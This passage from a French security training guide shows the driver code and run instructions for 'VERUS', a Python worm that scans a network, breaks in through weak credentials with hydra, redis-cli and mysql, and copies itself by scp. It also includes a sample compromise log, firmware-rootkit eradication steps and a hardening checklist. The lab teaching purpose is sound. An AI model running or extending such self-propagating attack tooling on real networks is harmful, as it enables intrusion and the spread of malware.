    args = parse_args()
    print("""
============================================================
  VERUS — Agent de propagation automatisé
  LABORATOIRE ISOLÉ — USAGE STRICTEMENT ÉDUCATIF
============================================================""")

    if not args.autonome and not args.ia:
        print("[!] Spécifiez --autonome ou --ia.")
        sys.exit(1)

    use_ai = args.ia
    if use_ai and not LLM_MODULE_AVAILABLE:
        print("[!] Module IA non disponible. Bascule autonome.")
        use_ai = False

    config = VerusConfig(
        network=args.network, max_hosts=args.max_hosts,
        timeout=args.timeout, delay=args.delay,
        use_ai=use_ai, llm_model=args.llm_model,
        log_file=args.log, ssh_user=args.ssh_user, ssh_pass=args.ssh_pass,
    )

    logger = Logger(config.log_file)
    logger.start(config)

    llm = None
    if use_ai:
        print("[*] Initialisation de l'assistant IA...")
        llm = LLMAssistant(model=config.llm_model)
        if not llm.available:
            print("[!] LLM indisponible. Passage en mode autonome.")
            config.use_ai = False

    # Phase 1
    print("\n" + "=" * 60)
    print(" PHASE 1 : RECONNAISSANCE (nmap)")
    print("=" * 60)
    recon = Reconnaissance(config)
    discovered = recon.scan_network()
    logger.record_discovered(discovered)

    if not discovered:
        print("[!] Aucun hôte. Fin.")
        logger.finish()
        sys.exit(0)

    # Phase 2
    print("\n" + "=" * 60)
    print(" PHASE 2 : EXPLOITATION (hydra, curl, redis-cli, mysql)")
    print("=" * 60)
    exploitation = Exploitation(config, llm)
    exploited = exploitation.exploit_all(discovered)
    logger.record_exploited(exploited)

    # Phase 3
    print("\n" + "=" * 60)
    print(" PHASE 3 : PROPAGATION (scp SSH)")
    print("=" * 60)
    propagation = Propagation(config)
    propagated = propagation.propagate(exploited)
    logger.record_propagated(propagated)

    logger.finish()
    print(logger.summary())


if __name__ == "__main__":
    main()

6.5 Installation et exécution

Prérequis dans le conteneur Kali

apt update
apt install -y python3-pip nmap hydra sqlmap curl sshpass redis-tools mysql-client
pip install ollama

# Optionnel : pour le mode IA
# Sur l'hôte (pas dans le conteneur), démarrer Ollama :
#   ollama serve
#   ollama pull llama3

Mode autonome (sans IA)

cd /root/verus
python3 verus.py --autonome --network 172.28.0.0/24 --max-hosts 20

Ce qui se passe :

  1. nmap -sV est appelé via subprocess sur chaque hôte.
  2. Les ports ouverts et services sont extraits de la sortie nmap.
  3. Une vulnérabilité est sélectionnée par règles statiques (dictionnaire VULNS_CONNUES).
  4. Le payload réel est exécuté : hydra, curl, redis-cli ou mysql.
  5. Si succès, scp copie verus.py sur l'hôte compromis.

Mode IA (avec Llama 3)

# Vérifier qu'Ollama tourne bien sur l'hôte
curl http://localhost:11434/api/tags

python3 verus.py --ia --network 172.28.0.0/24 --max-hosts 20

Ce qui change : Le LLM est consulté pour chaque cible. Il renvoie une suggestion JSON. Si Ollama ne répond pas ou renvoie du JSON invalide, fallback automatique vers le mode autonome.

6.6 Analyse comparative — Le point pédagogique

Expérience à réaliser : Lancer deux runs, un en --autonome, un en --ia, puis comparer les logs JSON. Objectif : démontrer que l'IA n'est pas indispensable.
Critère Mode autonome Mode IA
Sélection de vulnérabilité Dictionnaire statique + score de confiance Analyse contextuelle par LLM + fallback
Dépendance externe Aucune Ollama + modèle Llama 3
Reproductibilité Élevée (déterministe) Variable (non-déterministe)
Complexité d'installation Faible (apt + pip) Élevée (GPU/RAM, modèle)
Fonctionne sans IA ? ✅ Oui, par conception ❌ Non (fallback autonome)
Détection des vulnérabilités réelles Limitée au dictionnaire Potentiellement plus créative

6.7 Lecture des logs

Le fichier verus_log.json contient :

{
  "start_time": "2027-01-15T14:22:31",
  "end_time": "2027-01-15T14:25:12",
  "config": {
    "network": "172.28.0.0/24",
    "use_ai": false,
    "llm_model": null
  },
  "discovered_hosts": [
    {"ip": "172.28.0.3", "ports": [80, 3306],
     "services": {"80": "http Apache", "3306": "mysql 5.7"}}
  ],
  "exploited_hosts": [
    {"ip": "172.28.0.3", "vulnerability": "MySQL-Faible-Root",
     "method": "weak_credentials", "source": "autonome",
     "confidence": 50, "success": true,
     "cmd": "mysql -h 172.28.0.3 -u root -proot -e SELECT 1;"}
  ],
  "propagated": [
    {"target": "172.28.0.3", "success": true}
  ]
}

Le champ "source" indique "autonome" ou "ia", ce qui permet de mesurer précisément l'apport du LLM sur chaque décision.

6.8 Conclusion pédagogique

À retenir :
  • Le mode autonome est pleinement fonctionnel : scan, exploitation, propagation.
  • L'IA n'intervient que sur une seule décision (le choix de la vulnérabilité).
  • Le reste de la chaîne (reconnaissance, exécution, propagation) ne dépend pas de l'IA.
  • Un attaquant sans IA peut donc compromettre un lab mal configuré avec des outils standards (nmap, hydra, curl) et ~200 lignes de Python.

C'est la démonstration centrale : l'IA n'est ni indispensable, ni suffisante. Les fondamentaux restent les fondamentaux.

7Détection et éradication — L'après-attaque

Détruire un ver ou un rootkit est souvent plus complexe que de s'en protéger. Voici une méthodologie en couches, du plus simple au plus profond.

7.1 Niveau système d'exploitation

7.2 Niveau firmware / UEFI

C'est la couche la plus difficile à nettoyer. Un rootkit UEFI réside dans la flash SPI de la carte mère, en dessous du système d'exploitation, en dessous du disque dur.

Détection avec CHIPSEC

Utilisez CHIPSEC pour :

Éradication :

  1. Réinitialiser le firmware : via les paramètres BIOS/UEFI, option « Restore Defaults » ou « Reset to Factory Settings ».
  2. Reflasher le firmware : téléchargez une version propre depuis le site du fabricant et réinstallez-la. Ne désactivez jamais les vérifications de signature.
  3. Réinstaller l'OS : à partir d'une source de confiance, pour éliminer tout résidu logiciel.
  4. Activer Secure Boot : avec des clés approuvées et des données de révocation à jour.
Attention : Un implant firmware survit à la réinstallation de l'OS. Si vous ne reflashez pas la puce, l'infection persistera. Le nettoyage nécessite impérativement un reflash depuis une source propre, idéalement via un programmateur externe (type CH341A + clip SOIC-8) pour contourner tout rootkit qui bloquerait l'écriture depuis l'OS.

7.3 Niveau matériel

7.4 L'approche proactive

Plutôt qu'une défense purement réactive, certains praticiens proposent de reprendre l'initiative en exerçant un contrôle proactif de l'environnement dont l'attaquant dépend. Cela implique un cycle continu de renseignement, de friction induite et d'anticipation, pour épuiser progressivement les APT.

8Ne pas faire une confiance aveugle à l'IA

Un modèle de langage peut :

Les limites sont réelles et documentées.
Des études récentes (dont des travaux publiés par la RAND en 2024 sur l'usage de l'IA en cybersécurité) suggèrent que l'accès à des modèles d'IA de pointe apporte un soutien limité pour la réalisation d'opérations cyber offensives complètes. Les participants, même avec l'IA, échouent souvent aux étapes critiques des chaînes d'attaque complexes.

Pourquoi ?

L'IA est un outil, pas un oracle. Elle peut vous aider à explorer des pistes, à rédiger des scripts, à comprendre un concept. Mais l'analyse finale, la validation et la prise de décision doivent rester humaines.

9Annexe — Checklist & Ressources

Checklist de sécurisation firmware

Couche Action Statut
FirmwareActiver Intel Boot Guard / AMD PSB☐
FirmwareVérifier que le bit FLOCKDN est activé (flash SPI verrouillée)☐
FirmwareMaintenir la base de révocation Secure Boot (dbx) à jour☐
FirmwareActiver TPM 2.0 et le Measured Boot☐
FirmwareDéployer un monitoring d'intégrité firmware (CHIPSEC, Eclypsium)☐
FirmwareProgrammer des reflashes réguliers depuis une source constructeur☐
RéseauSegmenter le réseau IoT du réseau bureautique☐
EndpointDésactiver les mots de passe par défaut sur tous les équipements☐
DétectionCentraliser les logs (Splunk, ELK) et définir des règles d'alerte☐
PhysiqueContrôler les accès physiques aux salles serveurs☐
PhysiqueBloquer les ports USB non utilisés☐
ProcessusFormer les employés aux risques des clés USB inconnues☐
ProcessusMettre en place une procédure de réponse aux incidents firmware☐

Ressources essentielles

Ressource Description Lien / Référence
CHIPSEC Framework open-source d'audit de la sécurité du firmware (Intel) github.com/chipsec/chipsec
UEFITool Parsing et extraction de firmware UEFI github.com/LongSoft/UEFITool
Cyber-Range Emulator Environnement Docker multi-zone avec attaquant, victime, routeur, pare-feu et nœuds IoT github.com/HazemYM02/cyber-range-emulator
MITRE Caldera Plateforme d'émulation d'adversaire automatisée github.com/mitre/caldera

Lectures recommandées